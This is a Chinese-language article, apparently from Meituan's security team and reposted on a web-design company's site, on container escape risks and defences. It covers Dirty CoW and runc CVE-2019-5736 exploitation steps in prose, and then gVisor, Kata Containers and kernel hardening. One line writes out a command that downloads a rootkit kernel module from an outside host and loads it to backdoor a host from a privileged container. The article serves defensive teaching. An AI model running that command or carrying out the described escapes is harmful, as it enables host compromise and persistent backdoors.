云原生之容器安全實踐

隨著越來越多的企業(yè)開始上“云”,開始容器化,云安全問題已經(jīng)成為企業(yè)防護的重中之重。

成都創(chuàng)新互聯(lián)專注為客戶提供全方位的互聯(lián)網(wǎng)綜合服務(wù),包含不限于成都做網(wǎng)站、成都網(wǎng)站建設(shè)、薛城網(wǎng)絡(luò)推廣、微信小程序開發(fā)、薛城網(wǎng)絡(luò)營銷、薛城企業(yè)策劃、薛城品牌公關(guān)、搜索引擎seo、人物專訪、企業(yè)宣傳片、企業(yè)代運營等,從售前售中售后,我們都將竭誠為您服務(wù),您的肯定,是我們最大的嘉獎;成都創(chuàng)新互聯(lián)為所有大學(xué)生創(chuàng)業(yè)者提供薛城建站搭建服務(wù),24小時服務(wù)熱線:18980820575,官方網(wǎng)址:muchs.cn

今天的文章來自美團信息安全團隊,他們從云原生的代表技術(shù)開始入手,以容器逃逸為切入點,從攻擊者角度(容器逃逸)到防御者角度(緩解容器逃逸)來闡述美團在容器安全層面所進行的一些探索和實踐。

概述

云原生(Cloud Native)是一套技術(shù)體系和方法論,它由2個詞組成,云(Cloud)和原生(Native)。云(Cloud)表示應(yīng)用程序位于云中,而不是傳統(tǒng)的數(shù)據(jù)中心;原生(Native)表示應(yīng)用程序從設(shè)計之初即考慮到云的環(huán)境,原生為云而設(shè)計,在云上以最佳狀態(tài)運行,充分利用和發(fā)揮云平臺的彈性和分布式優(yōu)勢。

云原生的代表技術(shù)包括容器、服務(wù)網(wǎng)格(Service Mesh)、微服務(wù)(Microservice)、不可變基礎(chǔ)設(shè)施和聲明式API。更多對于云原生的介紹請參考CNCF/Foundation。

云原生之容器安全實踐

筆者將“云原生安全”抽象成如上圖所示的技術(shù)沙盤。自底向上看,底層從硬件安全(可信環(huán)境)到宿主機安全 。將容器編排技術(shù)(Kubernetes等)看作云上的“操作系統(tǒng)”,它負責(zé)自動化部署、擴縮容、管理應(yīng)用等。在它之上由微服務(wù)、Service Mesh、容器技術(shù)(Docker等)、容器鏡像(倉庫)組成。它們之間相輔相成,以這些技術(shù)為基礎(chǔ)構(gòu)建云原生安全。

我們再對容器安全做一層抽象,又可以看作構(gòu)建時安全(Build)、部署時安全(Deployment)、運行時安全(Runtime)。

在美團內(nèi)部,鏡像安全由容器鏡像分析平臺保障。它以規(guī)則引擎的形式運營監(jiān)管容器鏡像,默認(rèn)規(guī)則支持對鏡像中Dockerfile、可疑文件、敏感權(quán)限、敏感端口、基礎(chǔ)軟件漏洞、業(yè)務(wù)軟件漏洞以及CIS和NIST的最佳實踐做檢查,并提供風(fēng)險趨勢分析,同時它確保部分構(gòu)建時安全。

容器在云原生架構(gòu)下由容器編排技術(shù)(例如Kubernetes)負責(zé)部署,部署安全同時也與上文提及的容器編排安全有交集。

運行安全管控交由HIDS負責(zé)(可參考《保障IDC安全:分布式HIDS集群架構(gòu)設(shè)計》一文)。本文所討論的范疇也屬于運行安全之一,主要解決以容器逃逸為模型構(gòu)建的風(fēng)險(在本文中,若無特殊說明,容器指代Docker)。

對于安全實施準(zhǔn)則,我們將其分為三個階段:

  • 攻擊前:裁剪攻擊面,減少對外暴露的攻擊面(本文涉及的場景關(guān)鍵詞:隔離);

  • 攻擊時:降低攻擊成功率(本文涉及的場景關(guān)鍵詞:加固);

  • 攻擊后:減少攻擊成功后攻擊者所能獲取的有價值的信息、數(shù)據(jù)以及增加留后門的難度等。

近些年,數(shù)據(jù)中心的基礎(chǔ)架構(gòu)逐漸從傳統(tǒng)的虛擬化(例如KVM+QEMU架構(gòu))轉(zhuǎn)向容器化(Kubernetes+Docker架構(gòu)),但“逃逸”始終都是企業(yè)要在這2種架構(gòu)下所面對的最嚴(yán)峻的安全問題,同時它也是容器風(fēng)險中最具代表性的安全問題。筆者將以容器逃逸為切入點,從攻擊者角度(容器逃逸)到防御者角度(緩解容器逃逸)來闡述容器安全的實踐,從而緩解容器風(fēng)險。

容器風(fēng)險

容器提供了將應(yīng)用程序的代碼、配置、依賴項打包到單個對象的標(biāo)準(zhǔn)方法。容器建立在兩項關(guān)鍵技術(shù)之上:Linux Namespace和Linux Cgroups。

Namespace創(chuàng)建一個近乎隔離的用戶空間,并為應(yīng)用程序提供系統(tǒng)資源(文件系統(tǒng)、網(wǎng)絡(luò)棧、進程和用戶ID)。Cgroup強制限制硬件資源,如CPU、內(nèi)存、設(shè)備和網(wǎng)絡(luò)等。

容器和VM不同之處在于,VM模擬硬件系統(tǒng),每個VM都可以在獨立環(huán)境中運行OS。管理程序模擬CPU、內(nèi)存、存儲、網(wǎng)絡(luò)資源等,這些硬件可由多個VM共享多次。

云原生之容器安全實踐

容器一共有7個攻擊面:Linux Kernel、Namespace/Cgroups/Aufs、Seccomp-bpf、Libs、Language VM、User Code、Container(Docker) engine。

筆者以容器逃逸為風(fēng)險模型,提煉出3個攻擊面:

  1. Linux內(nèi)核漏洞;

  2. 容器自身;

  3. 不安全部署(配置)。

1. Linux內(nèi)核漏洞

容器的內(nèi)核與宿主內(nèi)核共享,使用Namespace與Cgroups這兩項技術(shù),使容器內(nèi)的資源與宿主機隔離,所以Linux內(nèi)核產(chǎn)生的漏洞能導(dǎo)致容器逃逸。

內(nèi)核提權(quán)VS容器逃逸

通用Linux內(nèi)核提權(quán)方法論

  • 信息收集:收集一切對寫exploit有幫助的信息。如:內(nèi)核版本,需要確定攻擊的內(nèi)核是什么版本?這個內(nèi)核版本開啟了哪些加固配置?還需知道在寫shellcode的時候會調(diào)用哪些內(nèi)核函數(shù)?這時候就需要查詢內(nèi)核符號表,得到函數(shù)地址。還可從內(nèi)核中得到一些對編寫利用有幫助的地址信息、結(jié)構(gòu)信息等等。

  • 觸發(fā)階段:觸發(fā)相關(guān)漏洞,控制RIP,劫持內(nèi)核代碼路徑,簡而言之,獲取在內(nèi)核中任意執(zhí)行代碼的能力。

  • 布置shellcode:在編寫內(nèi)核exploit代碼的時候,需要找到一塊內(nèi)存來存放我們的shellcode 。這塊內(nèi)存至少得滿足兩個條件:

    • 第一:在觸發(fā)漏洞時,我們要劫持代碼路徑,必須保證代碼路徑可以到達存放shellcode的內(nèi)存。

    • 第二:這塊內(nèi)存是可以被執(zhí)行的,換句話說,存放shellcode的這塊內(nèi)存具有可執(zhí)行權(quán)限。

  • 執(zhí)行階段

    • 第一:獲取高于當(dāng)前用戶的權(quán)限,一般我們都是直接獲取root權(quán)限,畢竟它是Linux中的最高權(quán)限,也就是執(zhí)行我們的shellcode。

    • 第二:保證內(nèi)核穩(wěn)定,不能因為我們需要提權(quán)而破壞原來內(nèi)核的代碼路徑、內(nèi)核結(jié)構(gòu)、內(nèi)核數(shù)據(jù)等等,而導(dǎo)致內(nèi)核崩潰。這樣的話,即使得到root權(quán)限也沒有太大的意義。

簡而言之,收集對編寫exploit有幫助的信息,然后觸發(fā)漏洞去執(zhí)行特權(quán)代碼,達到提權(quán)的效果。

云原生之容器安全實踐

容器逃逸和內(nèi)核提權(quán)只有細微的差別,需要突破namespace的限制。將高權(quán)限的namespace賦到exploit進程的task_struct中。這部分的詳細技術(shù)細節(jié)不在本文討論范圍內(nèi),筆者未來會抽空再寫一篇關(guān)于容器逃逸的技術(shù)文章,詳細介紹該相關(guān)技術(shù)的細節(jié)。

經(jīng)典的Dirty CoW

筆者以Dirty CoW漏洞來說明Linux漏洞導(dǎo)致的容器逃逸。漏洞雖老,奈何太過經(jīng)典。寫到這,筆者不禁想問:多年過去,目前國內(nèi)外各大廠,Dirty Cow漏洞的存量機器修復(fù)率是多少?

在Linux內(nèi)核的內(nèi)存子系統(tǒng)處理私有只讀內(nèi)存映射的寫時復(fù)制(Copy-on-Write,CoW)機制的方式中發(fā)現(xiàn)了一個競爭沖突。一個沒有特權(quán)的本地用戶,可能會利用此漏洞獲得對其他情況下只讀內(nèi)存映射的寫訪問權(quán)限,從而增加他們在系統(tǒng)上的特權(quán),這就是知名的Dirty CoW漏洞。

Dirty CoW漏洞的逃逸的實現(xiàn)思路和上述的思路不太一樣,采取Overwrite vDSO技術(shù)。

vDSO(Virtual Dynamic Shared Object)是內(nèi)核為了減少內(nèi)核與用戶空間頻繁切換,提高系統(tǒng)調(diào)用效率而設(shè)計的機制。它同時映射在內(nèi)核空間以及每一個進程的虛擬內(nèi)存中,包括那些以root權(quán)限運行的進程。通過調(diào)用那些不需要上下文切換(context switching)的系統(tǒng)調(diào)用可以加快這一步驟(定位vDSO)。vDSO在用戶空間(userspace)映射為R/X,而在內(nèi)核空間(kernelspace)則為R/W。這允許我們在內(nèi)核空間修改它,接著在用戶空間執(zhí)行。又因為容器與宿主機內(nèi)核共享,所以可以直接使用這項技術(shù)逃逸容器。

利用步驟如下:

  1. 獲取vDSO地址,在新版的glibc中可以直接調(diào)用getauxval()函數(shù)獲?。?/p>

  2. 通過vDSO地址找到clock_gettime()函數(shù)地址,檢查是否可以hijack;

  3. 創(chuàng)建監(jiān)聽socket;

  4. 觸發(fā)漏洞,Dirty CoW是由于內(nèi)核內(nèi)存管理系統(tǒng)實現(xiàn)CoW時產(chǎn)生的漏洞。通過條件競爭,把握好在恰當(dāng)?shù)臅r機,利用CoW的特性可以將文件的read-only映射該為write。子進程不停地檢查是否成功寫入。父進程創(chuàng)建二個線程,ptrace_thread線程向vDSO寫入shellcode。madvise_thread線程釋放vDSO映射空間,影響ptrace_thread線程CoW的過程,產(chǎn)生條件競爭,當(dāng)條件觸發(fā)就能寫入成功。

  5. 執(zhí)行shellcode,等待從宿主機返回root shell,成功后恢復(fù)vDSO原始數(shù)據(jù)。

2. 容器自身

我們先簡單的看一下Docker的架構(gòu)圖:

云原生之容器安全實踐

Docker本身由Docker(Docker Client)和Dockerd(Docker Daemon)組成。但從Docker 1.11開始,Docker不再是簡單的通過Docker Dameon來啟動,而是集成許多組件,包括containerd、runc等等。

Docker Client是Docker的客戶端程序,用于將用戶請求發(fā)送給Dockerd。Dockerd實際調(diào)用的是containerd的API接口,containerd是Dockerd和runc之間的一個中間交流組件,主要負責(zé)容器運行、鏡像管理等。containerd向上為Dockerd提供了gRPC接口,使得Dockerd屏蔽下面的結(jié)構(gòu)變化,確保原有接口向下兼容;向下,通過containerd-shim與runc結(jié)合創(chuàng)建及運行容器。更多的相關(guān)內(nèi)容,請參考文末鏈接runc、containerd、architecture。了解清楚這些之后,我們就可以結(jié)合自身的安全經(jīng)驗,從這些組件相互間的通信方式、依賴關(guān)系等尋找能導(dǎo)致逃逸的漏洞。

下面我們以Docker中的runc組件所產(chǎn)生的漏洞來說明因容器自身的漏洞而導(dǎo)致的逃逸。

CVE-2019-5736:runc - container breakout vulnerability

runc在使用文件系統(tǒng)描述符時存在漏洞,該漏洞可導(dǎo)致特權(quán)容器被利用,造成容器逃逸以及訪問宿主機文件系統(tǒng);攻擊者也可以使用惡意鏡像,或修改運行中的容器內(nèi)的配置來利用此漏洞。

  • 攻擊方式1:(該途徑需要特權(quán)容器)運行中的容器被入侵,系統(tǒng)文件被惡意篡改 ==> 宿主機運行docker exec命令,在該容器中創(chuàng)建新進程 ==> 宿主機runc被替換為惡意程序 ==> 宿主機執(zhí)行docker run/exec 命令時觸發(fā)執(zhí)行惡意程序;

  • 攻擊方式2:(該途徑無需特權(quán)容器)docker run命令啟動了被惡意修改的鏡像 ==> 宿主機runc被替換為惡意程序 ==> 宿主機運行docker run/exec命令時觸發(fā)執(zhí)行惡意程序。

當(dāng)runc在容器內(nèi)執(zhí)行新的程序時,攻擊者可以欺騙它執(zhí)行惡意程序。通過使用自定義二進制文件替換容器內(nèi)的目標(biāo)二進制文件來實現(xiàn)指回runc二進制文件。

如果目標(biāo)二進制文件是/bin/bash,可以用指定解釋器的可執(zhí)行腳本替換#!/proc/self/exe。因此,在容器內(nèi)執(zhí)行/bin/bash,/proc/self/exe的目標(biāo)將被執(zhí)行,將目標(biāo)指向runc二進制文件。

然后攻擊者可以繼續(xù)寫入/proc/self/exe目標(biāo),嘗試覆蓋主機上的runc二進制文件。這里需要使用O_PATH flag打開/proc/self/exe文件描述符,然后以O(shè)_WRONLY flag 通過/proc/self/fd/

3. 不安全部署(配置)

在實際中,我們經(jīng)常會遇到這種狀況:不同的業(yè)務(wù)會根據(jù)自身業(yè)務(wù)需求提供一套自己的配置,而這套配置并未得到有效的管控審計,使得內(nèi)部環(huán)境變得復(fù)雜多樣,無形之中又增加了很多風(fēng)險點。最常見的包括:

  • 特權(quán)容器或者以root權(quán)限運行容器;
  • 不合理的Capability配置(權(quán)限過大的Capability)。

面對特權(quán)容器,在容器內(nèi)簡單地執(zhí)行一下命令,就可以輕松地在宿主機上留下后門:
$ wget https://kernfunny.org/backdoor/rootkit.ko && insmod rootkit.ko

目前在美團內(nèi)部,我們已經(jīng)有效地收斂了特權(quán)容器問題。

這部分業(yè)界已經(jīng)給出了最佳實踐,從宿主機配置、Dockerd配置、容器鏡像、Dockerfile、容器運行時等方面保障了安全,更多細節(jié)請參考Benchmark/Docker。同時Docker官方已經(jīng)將其實現(xiàn)成自動化工具(gVisor)。

安全實踐

為解決上述部分所闡述的容器逃逸問題,下文將重點從隔離(安全容器)與加固(安全內(nèi)核)兩個角度來進行討論。

安全容器

安全容器的技術(shù)本質(zhì)就是隔離。gVisor和Kata Container是比較具有代表性的實現(xiàn)方式,目前學(xué)術(shù)界也在探索基于Intel SGX的安全容器。

簡單地說,gVisor是在用戶態(tài)和內(nèi)核態(tài)之間抽象出一層,封裝成API,有點像user-mode kernel,以此實現(xiàn)隔離。Kata Container采用了輕量級的虛擬機隔離,與傳統(tǒng)的VM比較類似,但是它實現(xiàn)了無縫集成當(dāng)前的Kubernetes加Docker架構(gòu)。我們接著來看gVisor與Kata Container的異同。

Case 1: gVisor

gVisor是用Golang編寫的用戶態(tài)內(nèi)核,或者說是沙箱技術(shù),它主要實現(xiàn)了大部分的system call。它運行在應(yīng)用程序和內(nèi)核之間,為它們提供隔離。gVisor被使用在Google云計算平臺的App Engine、Cloud Functions和Cloud ML中。gVisor運行時,是由多個沙箱組成,這些沙箱進程共同覆蓋了一個或多個容器。通過攔截從應(yīng)用程序到主機內(nèi)核的所有系統(tǒng)調(diào)用,并使用用戶空間中的Sentry處理它們,gVisor充當(dāng)guest kernel的角色,且無需通過虛擬化硬件轉(zhuǎn)換,可以將它看做vmm與guest kernel的集合,或是seccomp的增強版。

云原生之容器安全實踐

圖5 gVisor架構(gòu)圖 

Case 2: Kata Container

Kata Container的Container Runtime是用hypervisor ,然后用hardware virtualization實現(xiàn),如同虛擬機。所以每一個像這樣的Kata Container的Pod,都是一個輕量級虛擬機,它擁有完整的Linux內(nèi)核。所以Kata Container與VM一樣能提供強隔離性,但由于它的優(yōu)化和性能設(shè)計,同時也擁有與容器相媲美的敏捷性。

云原生之容器安全實踐

Kata Container在主機上有一個kata-runtime來啟動和配置新容器。對于Kata VM中的每個容器,主機上都有相應(yīng)的Kata Shim。Kata Shim接收來自客戶端的API請求(例如Docker或kubectl),并通過VSock將請求轉(zhuǎn)發(fā)給Kata VM內(nèi)的代理。Kata容器進一步優(yōu)化以減少VM啟動時間。使用QEMU的輕量級版本NEMU,刪除了約80%的設(shè)備和包。VM-Templating創(chuàng)建運行Kata VM實例的克隆,并與其他新創(chuàng)建的Kata VM共享,這樣減少了啟動時間和Guest VM內(nèi)存消耗。Hotplug功能允許VM使用最少的資源(例如CPU、內(nèi)存、virtio塊)進行引導(dǎo),并在以后請求時添加其他資源。

gVisor VS Kata Container

云原生之容器安全實踐

在兩者之間,筆者更愿選擇gVisor,因為gVisor設(shè)計上比Kata Container更加的“輕”量級,但gVisor的性能問題始終是一道暫時無法逾越的“天塹”。綜合二者的優(yōu)劣,Kata Container目前更適合企業(yè)內(nèi)部??傮w而言,安全容器技術(shù)還需做諸多探索,以解決不同企業(yè)內(nèi)部基礎(chǔ)架構(gòu)上面臨的各種挑戰(zhàn)。

安全內(nèi)核

眾所周知,Android由于其開源特性,不同廠商都維護著自己的Android版本。因為Android內(nèi)核態(tài)代碼來自于Linux kernel upstrem,當(dāng)一個漏洞產(chǎn)生在upstrem內(nèi)核,安全補丁推送到Google,再從Google下發(fā)到各大廠商,最終到終端用戶。由于Android生態(tài)的碎片化,補丁周期非常之長,使得終端用戶的安全,在這過程中始終處于“空窗期”。當(dāng)我們把目光重新焦距在Linux上,它也同樣存在類似的問題。

內(nèi)核面臨的問題

云原生之容器安全實踐

內(nèi)核補丁

當(dāng)一個安全漏洞被披露,通常是由漏洞發(fā)現(xiàn)者通過Redhat、OpenSuse、Debian等社區(qū)反饋或直接提交至上游相關(guān)子系統(tǒng)maintainer。在企業(yè)內(nèi)部面臨多個不同內(nèi)核大版本、內(nèi)核定制化,針對不同版本從上游代碼backport相關(guān)補丁及制作相關(guān)熱補丁,定制內(nèi)核還需對補丁進行二次開發(fā),再升級生產(chǎn)環(huán)境內(nèi)核或Hotfix內(nèi)核。不僅修復(fù)周期過長,而且在修復(fù)過程中,人員溝通也存在一定的成本,也拉長了漏洞危險期。在危險期間,我們對于漏洞基本是毫無防護能力的。

內(nèi)核版本碎片化

內(nèi)核版本碎片化在任意具備一定規(guī)模的公司都是無法避免的問題。隨著技術(shù)的日新月異,不斷迭代,基礎(chǔ)架構(gòu)上的技術(shù)棧需要較新版本的內(nèi)核功能去支持,久而久之就產(chǎn)生內(nèi)核版本的碎片化。碎片化問題的存在,使得在安全補丁的推送方面,遭遇了很大的挑戰(zhàn)。本身補丁還需要做針對性的適配,包括不同版本的內(nèi)核,并進行測試驗證,碎片化使得維護成本也變得十分高昂。最重要的是,由于維護工作量大,必然拉長了測試補丁的時間線。也就是說,暴露在攻擊者面前的危險期變得更長,被攻擊的可能性也大大增加。

內(nèi)核版本定制化

同樣,因不同公司的基礎(chǔ)架構(gòu)不同、需求不同,導(dǎo)致的定制化內(nèi)核問題。對于定制化內(nèi)核,無法簡單的通過從上游內(nèi)核合并補丁,還需對補丁做一些本地化來適配定制化內(nèi)核。這又拉長了危險期。

解決之道

我們使用安全特性去針對某一類漏洞或是針對某一類利用方式做防御與檢測。比如SLAB_FREELIST_HARDENED,針對Double Free類型漏洞做實時檢測,且防御overwrite freelist鏈表,性能損耗僅0.07%(參考upstrem內(nèi)核源碼,commit id: 2482ddec)。

當(dāng)完成所有全部的安全特性,漏洞在被反饋之前和漏洞補丁被及時推送至生產(chǎn)環(huán)境前,都無需關(guān)心漏洞的細節(jié),就能防御。當(dāng)然,安全補丁該打還是得打,這里我們主要解決在安全補丁最終落在生產(chǎn)環(huán)境過程中,“空窗期”對于漏洞與利用毫無防御能力的問題,同時也可以對0day有一定的檢測及防御能力。

實施策略

  1. 已經(jīng)合并進Linux主線版本的安全特性,如果公司的內(nèi)核支持該特性,選擇開啟配置,對開啟前后內(nèi)核做性能測試,分析安全特性原理、行業(yè)數(shù)據(jù),給出Real World攻擊案例(自己寫exploit去證明),將報告結(jié)論反饋給內(nèi)核團隊。內(nèi)核團隊再做評估,結(jié)合安全團隊與內(nèi)核團隊雙方意見,最終評估落地。
  2. 已經(jīng)合并進Linux主線版本但未被合并進Redhat的安全特性,可選擇從Linux內(nèi)核主線版本中移植,這點上代碼質(zhì)量上得到了保障,同時社區(qū)也做了性能測試,將其合并到公司的內(nèi)核再做復(fù)測。
  3. 未被合并進Linux內(nèi)核主線版本,從Grsecurity/PaX中做移植,在Grsecurity/PaX的諸多安全特性中,評估選擇,選取代碼改動少的,收益高的安全特性優(yōu)先移植。比如改動較少的內(nèi)核代碼又能有效解決某一類的漏洞,再打個比方,Dirty Cow的全量修復(fù)可能需要花費1-2年的時間,如果加了某個安全特性,即使未修復(fù)也能防御。

內(nèi)核后話

最后,分享一下筆者眼中較為理想中的狀況。當(dāng)然,我們得根據(jù)實際情況“因地制宜”,在不同階段做出不同的取舍與選擇。

  • 將內(nèi)核團隊看成社區(qū),我們向他們提交代碼,如同Linux內(nèi)核社區(qū)有RFC(Request for Comment)、Patch Review等,無爭議后合并進公司內(nèi)核。

  • 先挑選實用的安全特性且代碼量少的,去移植,去實現(xiàn),并落地。代碼量少意味著對內(nèi)核代碼改動少,出問題的可能性越小,穩(wěn)定性越高,性能損耗越低。

  • 一年完成幾個安全特性,不需要多,1~2個即可,對于內(nèi)核態(tài)的加固,慎重慎重再慎重,譬如國外G家公司數(shù)據(jù)中心的內(nèi)核發(fā)版前大概需要6~7個月時間做性能、穩(wěn)定性測試。

  • 需要做到加固某個安全特性后,使用0day或Nday去驗證防御效果,且基于該內(nèi)核跑業(yè)務(wù)是穩(wěn)定,性能損耗在可接受范圍之內(nèi)或者可控。每個安全特性需要技術(shù)評審。為保障代碼質(zhì)量的問題,找實際的高吞吐以及高并發(fā)低延遲的服務(wù)器小范圍灰度測試,無爭議后,再推送給內(nèi)核團隊。

  • 最后,我們還可以通過將安全特性的代碼直接提交給Linux內(nèi)核社區(qū),如果代碼有不足的地方也可以和社區(qū)協(xié)同解決,合并進Linux內(nèi)核主線代碼,從而側(cè)面推動落地。

當(dāng)前文章:云原生之容器安全實踐
當(dāng)前URL:http://muchs.cn/article48/ghehep.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供企業(yè)網(wǎng)站制作、、定制開發(fā)、營銷型網(wǎng)站建設(shè)、品牌網(wǎng)站制作手機網(wǎng)站建設(shè)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

成都網(wǎng)頁設(shè)計公司